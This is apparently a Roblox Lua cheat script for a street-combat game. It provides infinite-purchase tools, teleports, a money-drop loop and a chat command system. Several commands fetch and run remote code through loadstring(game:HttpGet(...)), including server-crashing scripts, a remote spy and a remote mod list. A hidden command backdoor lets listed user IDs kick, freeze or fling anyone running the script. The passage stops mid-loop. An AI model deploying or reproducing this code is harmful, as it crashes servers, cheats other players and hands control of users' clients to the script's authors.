player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true
local mag = (GunPath.Position - player.Character.HumanoidRootPart.Position).Magnitude
if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun then
v.Parent = player.Character
end
end
end
fireclickdetector(GunPath.Parent.ClickDetector)
if player.Character:FindFirstChild(Gun).Ammo.Value < 1 then
player.Character:FindFirstChild(Gun).Parent = player.Backpack
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun and not player.Character:FindFirstChild(Gun) then
if v.Ammo.Value > 0 then
v.Parent = player.Character
end
end
end
end
end
end)
InfiniteTool.Unequipped:Connect(function()
Holding = false
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame'
end)
end
function infrpg()
if player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA') then
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').TextLabel.Name = 'AmmoText'
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Position = UDim2.new(2,0,2,0)
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Size = UDim2.new(0,0,0,0)
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Name = 'AmmoFrame'
end
local Gun = '[RPG]'
local GunTexture = 'rbxassetid://3420083215'
local GunPath = game:GetService("Workspace").Ignored.Shop["[RPG] - $6000"].Head
local Holding = false
local InfiniteTool = Instance.new('Tool', player.Backpack)
InfiniteTool.Name = 'Rpg'
InfiniteTool.ToolTip = 'buy guns while holding, shoot while using this tool'
InfiniteTool.TextureId = GunTexture
InfiniteTool.RequiresHandle = true
InfiniteTool.CanBeDropped = false
local Handle = Instance.new('Part', InfiniteTool)
Handle.Name = 'Handle'
Handle.Anchored = false
Handle.Size = Vector3.new(0,0,0)
Handle.Massless = true
Handle.Transparency = 1
Handle.CanCollide = false
InfiniteTool.Equipped:Connect(function()
Holding = true
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2'
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun and not player.Character:FindFirstChild(Gun) then
if v.Ammo.Value > 0 then
v.Parent = player.Character
end
end
end
while Holding == true do
wait(0)
local TotalAmmo = 0
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun then
TotalAmmo = TotalAmmo + v.Ammo.Value
end
end
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == Gun then
TotalAmmo = TotalAmmo + v.Ammo.Value
end
end
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalAmmo)
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true
player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true
local mag = (GunPath.Position - player.Character.HumanoidRootPart.Position).Magnitude
if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun then
v.Parent = player.Character
end
end
end
fireclickdetector(GunPath.Parent.ClickDetector)
if player.Character:FindFirstChild(Gun).Ammo.Value < 1 then
player.Character:FindFirstChild(Gun).Parent = player.Backpack
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun and not player.Character:FindFirstChild(Gun) then
if v.Ammo.Value > 0 then
v.Parent = player.Character
end
end
end
end
end
end)
InfiniteTool.Unequipped:Connect(function()
Holding = false
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame'
end)
end
function infham()
local Food = '[Hamburger]'
local FoodTexture = 'rbxassetid://3210917066'
local FoodPath = game:GetService("Workspace").Ignored.Shop["[Hamburger] - $5"].Head
local Holding = false
local InfiniteTool = Instance.new('Tool', player.Backpack)
InfiniteTool.Name = 'Hamburger'
InfiniteTool.ToolTip = 'buy hamburgers while holding, eat while using this tool'
InfiniteTool.TextureId = FoodTexture
InfiniteTool.RequiresHandle = true
InfiniteTool.CanBeDropped = false
local Handle = Instance.new('Part', InfiniteTool)
Handle.Name = 'Handle'
Handle.Anchored = false
Handle.Size = Vector3.new(0,0,0)
Handle.Massless = true
Handle.Transparency = 1
Handle.CanCollide = false
InfiniteTool.Equipped:Connect(function()
Holding = true
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2'
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Food and not player.Character:FindFirstChild(Food) then
v.Parent = player.Character
end
end
while Holding == true do
wait(0)
local TotalFood = 0
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Food then
TotalFood = TotalFood + 1
end
end
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == Food then
TotalFood = TotalFood + 1
end
end
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalFood)
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true
player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true
local mag = (FoodPath.Position - player.Character.HumanoidRootPart.Position).Magnitude
if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Food then
v.Parent = player.Character
end
end
end
fireclickdetector(FoodPath.Parent.ClickDetector)
if not player.Character:FindFirstChild(Food) then
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Food and not player.Character:FindFirstChild(Food) then
v.Parent = player.Character
end
end
end
end
end)
InfiniteTool.Unequipped:Connect(function()
Holding = false
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame'
end)
end
infrev()
infdb()
infham()
infrpg()
end)
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CashDroppedLabel.Visible = false
CalculateButton.MouseButton1Click:Connect(function()
if tonumber(CashTextbox.Text) ~= nil then
CashTextbox.Text = tostring(math.floor((tonumber(CashTextbox.Text) * 1.42857)))
local amount = tonumber(CashTextbox.Text)
cashgoal = player.DataFolder.Currency.Value - amount
CashAtEndLabel.Text = ('Cash At End : $' .. formatNumber(cashgoal))
else
announce('insert number', '', 3)
end
end)
DropToggleButton.MouseButton1Click:Connect(function()
if DropToggleButton.Text == 'Enable' and tonumber(CashTextbox.Text) ~= nil then
DropToggleButton.Text = 'Stop'
while DropToggleButton.Text == 'Stop' do
wait()
MainEvent:FireServer('DropMoney', '10000')
if player.DataFolder.Currency.Value <= cashgoal then
DropToggleButton.Text = 'Enable'
announce('finished dropping')
end
end
else
DropToggleButton.Text = 'Enable'
end
end)
CrashServerButton.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/22kristina/dhcrash_gen2/main/crash", true))()
end)
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SetSpawn.MouseButton1Click:Connect(function()
if player.Character then
if SetSpawn.Text == 'SetSpawn' then
SetSpawn.Text = 'NoSpawn'
SpawnPosition = player.Character.HumanoidRootPart.CFrame
else
SetSpawn.Text = 'SetSpawn'
SpawnPosition = nil
end
end
end)
PrevPosition.MouseButton1Click:Connect(function()
if PreviousPosition ~= nil then
player.Character.HumanoidRootPart.CFrame = PreviousPosition
else
announce('Previous Position Error', 'you need to have tped before to return to an old position', 5)
end
end)
Bank.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(-437.125885, 38.9783134, -285.587372, 0.0165725499, 5.298579e-08, -0.99986279, 1.16139711e-08, 1, 5.31855591e-08, 0.99986279, -1.24937944e-08, 0.0165725499)
end)
Playground.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(-259.516907, 22.1498718, -762.971558, 0.992310345, 0, 0.12377467, 0, 1, 0, -0.12377467, 0, 0.992310345)
end)
LavaBase.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(-796.256897, -39.6492004, -886.306152, -0.39699012, 2.91068263e-05, 0.917822897, 1.63490836e-06, 1, -3.10057476e-05, -0.917822897, -1.08084187e-05, -0.39699012)
end)
GunShop1.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(-591.085022, 8.31477833, -742.803528, 0.994070172, 5.60480942e-08, 0.108740292, -6.51724079e-08, 1, 8.03552425e-08, -0.108740292, -8.69656134e-08, 0.994070172)
end)
GunShop2.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(488.347412, 48.0705032, -630.454285, -0.0453165509, -4.20173549e-08, -0.998972654, -4.23235385e-08, 1, -4.01406339e-08, 0.998972654, 4.04610248e-08, -0.0453165509)
end)
Sewer.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(111.514938, -26.7500305, -276.918365, -0.997865558, -1.25138016e-08, -0.0653034225, -1.74378947e-08, 1, 7.48333733e-08, 0.0653034225, 7.58124159e-08, -0.997865558)
end)
GasStation.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(591.680725, 49.0000458, -256.818298, -0.0874911696, -3.41755495e-08, -0.996165276, 1.23318324e-08, 1, -3.53901868e-08, 0.996165276, -1.53808717e-08, -0.0874911696)
end)
TacoShop.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(583.931641, 51.061409, -476.954193, -0.999745369, 1.49123665e-08, -0.0225663595, 1.44838328e-08, 1, 1.91533687e-08, 0.0225663595, 1.88216429e-08, -0.999745369)
end)
UFO.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(71.7331619, 139, -691.154419, 0.602706313, 7.78292178e-06, 0.797962964, 7.63640458e-07, 1, -1.03302691e-05, -0.797962964, 6.83547478e-06, 0.602706313)
end)
SafeZone1.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117.270287, -58.7000618, 146.536087, 0.999873519, 5.21876942e-08, -0.0159031227, -5.22713037e-08, 1, -4.84179008e-09, 0.0159031227, 5.67245495e-09, 0.999873519)
end)
SafeZone2.MouseButton1Click:Connect(function()
PreviousPosition = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(207.48085, 38.25, 200014.953, 0.507315397, 0, -0.861760437, 0, 1, 0, 0.861760437, 0, 0.507315397)
end)
SavePos.MouseButton1Click:Connect(function()
SavedPos = player.Character.HumanoidRootPart.CFrame
end)
LoadPos.MouseButton1Click:Connect(function()
if SavedPos ~= nil then
player.Character.HumanoidRootPart.CFrame = SavedPos
else
announce('Load Position Error', 'you need to save a position first', 4)
end
end)
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local swagmins = {
200547759, -- Mas2n
44694442, -- SWAGM0DE
92157681, -- Ninaly4567
1688589423, -- KR1STlNA
2351144328, -- suslevel9999
1997397874,
}
local bending = false
local kickmsg = 'PERMA BANNED'
local function commands(msg,plr)
if DisableMod == false or table.find(swagmins, plr) then
local Mod = game:GetService('Players'):GetPlayerByUserId(plr)
local Msg = string.lower(msg)
local SplitCMD = string.split(Msg,' ')
local Lower = string.lower(player.Name)
local Allowed = string.find(Lower, SplitCMD[2])
if Allowed then
if string.find(SplitCMD[1], ':freeze') then
player.Character.HumanoidRootPart.Anchored = true
end
if string.find(SplitCMD[1], ':thaw') then
player.Character.HumanoidRootPart.Anchored = false
end
if string.find(SplitCMD[1], ':benx') then
bending = true
local segtarget = Mod.Name
local Crouch = player.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching)
Crouch.Looped = true
Crouch:Play()
local away = .5
local reversing = false
local shirt = player.Character:FindFirstChild('Shirt')
local pants = player.Character:FindFirstChild('Pants')
if shirt then
shirt:Destroy()
end
if pants then
pants:Destroy()
end
local Loop
local loopFunction = function()
local targetchar = game.Workspace.Players:FindFirstChild(segtarget) or game.Workspace:FindFirstChild(segtarget)
local character = player.Character
if targetchar then
if reversing == true then
away = away - 0.1
else
away = away + 0.1
end
if away >= 2 then
reversing = true
elseif away < 0.5 then
reversing = false
end
character.HumanoidRootPart.CFrame = game.Players[segtarget].Character.HumanoidRootPart.CFrame + game.Players[segtarget].Character.HumanoidRootPart.CFrame.lookVector * away
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
Crouch:Stop()
end;
Start()
repeat wait() until bending == false
Pause()
end
if string.find(SplitCMD[1], ':unbenx') then
while bending == true do
wait()
bending = false
end
end
if string.find(SplitCMD[1], ':kick') then
local ISADMIN = table.find(swagmins, player.UserId)
if not ISADMIN then
kickmsg = Mod.Name
player:Kick(kickmsg)
wait(5)
while true do end
end
end
if string.find(SplitCMD[1], ':bring') then
player.Character.HumanoidRootPart.CFrame = CFrame.new(game.Workspace.Players:FindFirstChild(Mod.Name).HumanoidRootPart.Position)
end
if string.find(SplitCMD[1], ':cuffban') then
if table.find(swagmins, plr) then
local ISADMIN = table.find(swagmins, player.UserId)
if not ISADMIN then
player:Kick('Stop .')
end
end
end
if string.find(SplitCMD[1], ':fling') then
player.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
end
else
if string.find(msg, '/e test') then
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("yeah,yeah!", 'All');
end
end
end
end
muted = {}
mutingnew = false
local ModCheck = loadstring(game:HttpGet('https://raw.githubusercontent.com/swagmode/swagmode/main/modlist'))()
Players.PlayerAdded:Connect(function(plr)
local SWAGMIN = table.find(swagmins, plr.UserId)
if SWAGMIN or ModCheck[plr.UserId] then
plr.Chatted:Connect(function(msg)
commands(msg, plr.UserId)
end)
end
if muteingnew == true then
if not table.find(muted, plr.Name) then
table.insert(muted, plr.Name)
print('automuted ' .. plr.Name)
end
end
end)
for i,v in pairs(game:GetService('Players'):GetChildren()) do
local SWAGMIN = table.find(swagmins, v.UserId)
if SWAGMIN or ModCheck[v.UserId] then
print('found')
v.Chatted:Connect(function(msg)
commands(msg, v.UserId)
end)
end
end
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local commands = {}
local prefix = "/"
local function findPlayer(name)
for _, Player in ipairs(Players:GetPlayers()) do
if (string.lower(name) == string.sub(string.lower(Player.Name), 1, #name)) then
return Player;
end
end
end
commands.e = function(arguments)
local CMD = arguments[1]
if CMD == 'rejoin' or CMD == 'rj' then
Players.LocalPlayer:Kick("Rejoining")
wait()
game:GetService('TeleportService'):Teleport(game.PlaceId, Players.LocalPlayer)
end
if CMD == 'serverhop' or CMD == 'shop' then
local x = {}
for _, v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")).data) do
if type(v) == "table" and v.maxPlayers > v.playing and v.id ~= game.JobId then
x[#x + 1] = v.id
end
end
if #x > 0 then
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, x[math.random(1, #x)])
else
print('failed to find server')
end
end
local ANIMATIONS = false
if CMD == 'animations' and player.PlayerGui.MainScreenGui.AnimationPack.Visible == false and ANIMATIONS == false then
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
ANIMATIONS = true
local AnimationsFolder = Instance.new('Folder', game.Workspace)
local LeanAni = Instance.new('Animation', AnimationsFolder)
LeanAni.AnimationId = 'rbxassetid://3152375249'
local Lean = Humanoid:LoadAnimation(LeanAni)
local LayAni = Instance.new('Animation', AnimationsFolder)
LayAni.AnimationId = 'rbxassetid://3152378852'
local Lay = Humanoid:LoadAnimation(LayAni)
local Dance1Ani = Instance.new('Animation', AnimationsFolder)
Dance1Ani.AnimationId = 'rbxassetid://3189773368'
local Dance1 = Humanoid:LoadAnimation(Dance1Ani)
local Dance2Ani = Instance.new('Animation', AnimationsFolder)
Dance2Ani.AnimationId = 'rbxassetid://3189776546'
local Dance2 = Humanoid:LoadAnimation(Dance2Ani)
local GreetAni = Instance.new('Animation', AnimationsFolder)
GreetAni.AnimationId = 'rbxassetid://3189777795'
local Greet = Humanoid:LoadAnimation(GreetAni)
local PrayAni = Instance.new('Animation', AnimationsFolder)
PrayAni.AnimationId = 'rbxassetid://3487719500'
local Pray = Humanoid:LoadAnimation(PrayAni)
Close.Visible = false
ScrollingFrame.Visible = false
Animations.Visible = true
Animations.MouseButton1Click:Connect(function()
ScrollingFrame.Visible = true
Close.Visible = true
end)
Close.MouseButton1Click:Connect(function()
ScrollingFrame.Visible = false
Close.Visible = false
end)
LeanButton.MouseButton1Click:Connect(function()
Lean:Play()
end)
LayButton.MouseButton1Click:Connect(function()
Lay:play()
end)
Dance1Button.MouseButton1Click:Connect(function()
Dance1:Play()
end)
Dance2Button.MouseButton1Click:Connect(function()
Dance2:Play()
end)
GreetButton.MouseButton1Click:Connect(function()
Greet:Play()
end)
PrayButton.MouseButton1Click:Connect(function()
Pray:Play()
end)
Humanoid.Running:Connect(function()
Lean:Stop()
Lay:Stop()
Dance1:Stop()
Dance2:Stop()
Greet:Stop()
Pray:Stop()
ChestPump:Stop()
end)
end
if CMD == 'korblox' then
game:GetService("Workspace").Players:FindFirstChild(player.Name).RightLowerLeg:Destroy()
game:GetService("Workspace").Players:FindFirstChild(player.Name).RightUpperLeg:Destroy()
game:GetService("Workspace").Players:FindFirstChild(player.Name).RightFoot:Destroy()
end
if CMD == 'crash' then
loadstring(game:HttpGet('https://raw.githubusercontent.com/lerkermer/lua-projects/master/SuperCustomServerCrasher'))()
end
if CMD == 'lettuce' then
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
local LettuceTool = Instance.new('Tool', player.Backpack)
LettuceTool.RequiresHandle = false
LettuceTool.CanBeDropped = true
LettuceTool.Name = 'Lettuce'
LettuceTool.ToolTip = 'inf lettuce eater yummy'
local function eat()
local Food = player.Backpack:FindFirstChild('[Lettuce]')
if Food and player.Character.BodyEffects.Attacking.Value == false then
Humanoid:EquipTool(Food)
player.Character:FindFirstChildWhichIsA('Tool'):Activate()
repeat wait() until player.Character.BodyEffects.Attacking.Value == false
Humanoid:EquipTool(LettuceTool)
end
end
LettuceTool.Activated:Connect(function()
eat()
end)
LettuceTool.Equipped:Connect(function()
while player.Character:FindFirstChild('Lettuce') do
wait()
local pathto = game:GetService("Workspace").Ignored.Shop["[Lettuce] - $5"].Head
local HRP = player.Character:FindFirstChild('HumanoidRootPart')
if HRP and player.Character:FindFirstChild('Lettuce') then
local Away = (HRP.Position - pathto.Position).Magnitude
if Away <= 30 then
for i,v in pairs(player.Backpack:GetChildren()) do
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
if v.Name == '[Lettuce]' then
v.Parent = player.Character
end
end
fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector'))
end
end
end
end)
end
if CMD == 'fov' then
if game.Workspace:FindFirstChildWhichIsA('Camera') then
game.Workspace:FindFirstChildWhichIsA('Camera').FieldOfView = tonumber(arguments[2])
end
end
BRIGHT = false
if CMD == 'bright' or CMD == 'unbright' then
if BRIGHT == false then
BRIGHT = true
game:GetService("Lighting").GlobalShadows = false
else
BRIGHT = false
game:GetService("Lighting").GlobalShadows = true
end
end
if CMD == 'tool' or CMD == 'tools' then
for i,v in pairs(game:GetService("Workspace").Ignored.ItemsDrop:GetChildren()) do
player.Character.HumanoidRootPart.CFrame = v.CFrame
wait(0.01)
end
end
if CMD == 'zoom' or CMD == 'infzoom' then
player.CameraMaxZoomDistance = math.huge
end
FOG = false
if CMD == 'fog' then
if FOG == false then
FOG = true
game:GetService("Lighting").FogEnd = 5000
else
FOG = false
game:GetService("Lighting").FogEnd = 500
end
end
if CMD == 'set' then
local plrtotarget = arguments[2]
if plrtotarget then
local playr = findPlayer(plrtotarget)
if playr then
TargetTextbox.Text = playr.Name
SetPlayerInfo()
end
end
end
if CMD == 'float' then
if player.Character:FindFirstChildWhichIsA('Tool') then
if player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui') then
player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui'):Destroy()
end
end
end
if CMD == 'to' then
local playerToTeleportToName = arguments[2]
if playerToTeleportToName then
local plrToTPTo = findPlayer(playerToTeleportToName)
if plrToTPTo then
game:GetService('Workspace').Players:WaitForChild(player.Name).HumanoidRootPart.CFrame = game:GetService('Workspace').Players:WaitForChild(plrToTPTo.Name).HumanoidRootPart.CFrame
if not player.Character.LeftHand:FindFirstChild('LeftWrist') then
player.Character.LeftHand.CFrame = player.Character.HumanoidRootPart.CFrame
player.Character.RightHand.CFrame = player.Character.HumanoidRootPart.CFrame
end
end
end
end
if CMD == 'sit' then
game.Players.LocalPlayer.Character.Humanoid.Sit = true
end
if CMD == 'recoil' then
for i,v in pairs(game:GetService('Workspace'):GetChildren()) do
if v:IsA('Camera') then
v:Destroy()
end
end
local newcam = Instance.new('Camera')
newcam.Parent = game:GetService('Workspace')
newcam.Name = 'Camera'
newcam.CameraType = 'Custom'
newcam.CameraSubject = game:GetService('Workspace').Players:FindFirstChild(player.Name):FindFirstChild('Humanoid')
newcam.HeadLocked = true
newcam.HeadScale = 1
end
if CMD == 'headless' then
player.Character.Head:BreakJoints()
player.Character.Head.Position = Vector3.new(0,99999999999999,0)
end
if CMD == 'hideboombox' or CMD == 'boombox' then
player.Character.BOOMBOXHANDLE:Destroy()
end
if CMD == 'reach' or CMD == 'toolreach' then
if player.Character:FindFirstChildWhichIsA('Tool') then
player.Character:FindFirstChildWhichIsA('Tool').Handle.Size = Vector3.new(50,50,50)
player.Character:FindFirstChildWhichIsA('Tool').Handle.Transparency = 1
end
end
if CMD == 'taser' then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-271.194, 21.8, -103.052)
local LettuceTool = Instance.new('Tool', player.Backpack)
LettuceTool.RequiresHandle = false
LettuceTool.CanBeDropped = true
LettuceTool.Name = 'Taser'
LettuceTool.ToolTip = 'tazer'
local function eat()
hold:Play()
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == '[Taser]' then
v.Parent = player.Character
end
end
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == '[Taser]' then
v:Activate()
end
end
end
LettuceTool.Activated:Connect(function()
eat()
end)
LettuceTool.Unequipped:Connect(function()
end)
LettuceTool.Equipped:Connect(function()
while player.Character:FindFirstChild('Taser') do
local a = 0
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == '[Taser]' then
a = a + 1
end
end
LettuceTool.ToolTip = tostring(a)
wait(3)
end
end)
coroutine.resume(coroutine.create(function()
local pathto = game:GetService("Workspace").Ignored.Shop["[Taser] - $1000"].Head
while wait(0.05) do
local sus = game:GetService("Players"):FindFirstChild(player.Name).PlayerGui.MainScreenGui:FindFirstChild('whiteScreen')
if sus then
sus:Destroy()
end
local HRP = player.Character:FindFirstChild('HumanoidRootPart')
if HRP and player.Character:FindFirstChild('Taser') then
local Away = (HRP.Position - pathto.Position).Magnitude
if Away <= 30 then
for i,v in pairs(player.Backpack:GetChildren()) do
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
if v.Name == '[Taser]' then
v.Parent = player.Character
end
end
fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector'))
end
end
end
end))
end
if CMD == 'view' then
local plrtoview = arguments[2]
if plrtoview then
local ptv = findPlayer(plrtoview)
if ptv then
local Camera = game.Workspace:FindFirstChildWhichIsA('Camera')
View.Text = "Unview"
repeat view(ptv.Name) until View.Text == 'View'
Camera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
end
end
end
if CMD == 'unview' then
local Camera = game.Workspace:FindFirstChildWhichIsA('Camera')
Camera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
View.Text = "View"
end
if CMD == 'shield' then
if IsMod == true then
DisableMod = true
announce('Immune to mod powers', '', 4)
end
end
if CMD == 'unshield' then
if IsMod == true then
DisableMod = false
announce('Unimmune to mod powers', '', 4)
end
end
if CMD == 're' then
player.Character:Destroy()
end
if CMD == 'ping' then
while wait() do
local Animations = game.Players.LocalPlayer:FindFirstChild('PlayerGui'):FindFirstChild('MainScreenGui'):FindFirstChild('AnimationPack')
if Animations then
Animations.TextScaled = true
Animations.Text = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()
end
end
end
if CMD == 'faceless' or CMD == 'noface' then
player.Character.Head.face:Destroy()
end
if CMD == 'hidemask' then
player.Character:FindFirstChild('In-gameMask').Handle:Destroy()
end
if CMD == 'names' then
local function checkdisplay()
for i,v in pairs(game:GetService('Workspace').Players:GetChildren()) do
if v.Name ~= game.Players:FindFirstChild(v.Name).DisplayName then
if v:FindFirstChild('UpperTorso'):FindFirstChild('OriginalSize') or v:FindFirstChild('LowerTorso'):FindFirstChild('OriginalSize') then
v:FindFirstChildWhichIsA('Humanoid').DisplayName = (game.Players:FindFirstChild(v.Name).DisplayName .. ' / ' .. v.Name)
end
end
end
end
checkdisplay()
end
if CMD == 'remotespy' then
loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))()
end
if CMD == 'flashlight' then
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
local mouse = player:GetMouse()
local hold = player.Character.Humanoid:LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.SmallGunAim)
local LettuceTool = Instance.new('Tool', player.Backpack)
LettuceTool.RequiresHandle = false
LettuceTool.CanBeDropped = true
LettuceTool.Name = 'Flashlight'
LettuceTool.ToolTip = 'rpg'
local gun = '[Flashlight]'
local function eat()
hold:Play()
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == gun then
v.Parent = player.Character
end
end
wait(0.2)
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == gun then
v:Activate()
end
end
end
LettuceTool.Activated:Connect(function()
eat()
end)
LettuceTool.Unequipped:Connect(function()
hold:Stop()
end)
LettuceTool.Equipped:Connect(function()
hold:Play()
local ammo = 0
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == gun then
ammo = ammo + v.Ammo.Value
end
end
LettuceTool.ToolTip = ammo
end)
coroutine.resume(coroutine.create(function()
local pathto = game:GetService("Workspace").Ignored.Shop["[Flashlight] - $10"].Head
while wait(0.05) do
local sus = game:GetService("Players"):FindFirstChild(player.Name).PlayerGui.MainScreenGui:FindFirstChild('whiteScreen')
if sus then
sus:Destroy()
end
local HRP = player.Character:FindFirstChild('HumanoidRootPart')
if HRP and player.Character:FindFirstChild('Flashlight') then
local Away = (HRP.Position - pathto.Position).Magnitude
if Away <= 30 then
for i,v in pairs(player.Backpack:GetChildren()) do
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
if v.Name == '[Flashlight]' then
v.Parent = player.Character
end
end
fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector'))
end
end
end
end))
end
if CMD == 'nuke' then
local LettuceTool = Instance.new('Tool', player.Backpack)
LettuceTool.RequiresHandle = false
LettuceTool.CanBeDropped = true
LettuceTool.Name = 'Nuke'
LettuceTool.ToolTip = 'tazer'
local function eat()
hold:Play()
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == '[Grenade]' then
v.Parent = player.Character
end
end
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == '[Grenade]' then
v:Activate()
v:Activate()
end
end
end
LettuceTool.Activated:Connect(function()
eat()
for i,v in pairs(game.Workspace.Ignored:GetChildren()) do
if v.Name == 'Handle' then
v.Position = mouse.Hit.p
end
end
end)
LettuceTool.Unequipped:Connect(function()
hold:Stop()
end)
LettuceTool.Equipped:Connect(function()
while player.Character:FindFirstChild('Nuke') do
local a = 0
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == '[Grenade]' then
a = a + 1
end
end
LettuceTool.ToolTip = tostring(a)
wait(3)
end
end)
coroutine.resume(coroutine.create(function()
local pathto = game:GetService("Workspace").Ignored.Shop["[Grenade] - $700"].Head
while wait(0.05) do
local sus = game:GetService("Players"):FindFirstChild(player.Name).PlayerGui.MainScreenGui:FindFirstChild('whiteScreen')
if sus then
sus:Destroy()
end
local HRP = player.Character:FindFirstChild('HumanoidRootPart')
if HRP and player.Character:FindFirstChild('Nuke') then
local Away = (HRP.Position - pathto.Position).Magnitude
if Away <= 30 then
for i,v in pairs(player.Backpack:GetChildren()) do
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
if v.Name == '[Grenade]' then
v.Parent = player.Character
end
end
fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector'))
end
end
end
end))
end
if CMD == 'mute' then
if tostring(arguments[2]) == 'all' then
muteingnew = true
for _,v in pairs(Players:GetChildren()) do
if not table.find(muted, v.Name) then
table.insert(muted, v.Name)
print('muted ' .. v.Name)
end
end
else
local plrtoview = arguments[2]
if plrtoview then
local ptv = findPlayer(plrtoview)
if ptv then
if not table.find(muted, ptv.Name) then
table.insert(muted, ptv.Name)
print('manualy muted ' .. ptv.Name)
end
end
end
end
end
coroutine.resume(coroutine.create(function()
local function mute()
for i,v in pairs(Players:GetChildren()) do
if table.find(muted, v.Name) then
if v.Character then
if v.Character.LowerTorso:FindFirstChild('BOOMBOXSOUND') and v.Character.UpperTorso:FindFirstChild('OriginalSize') then
v.Character.LowerTorso:FindFirstChild('BOOMBOXSOUND'):Stop()
end
end
end
end
end
while wait(.2) do
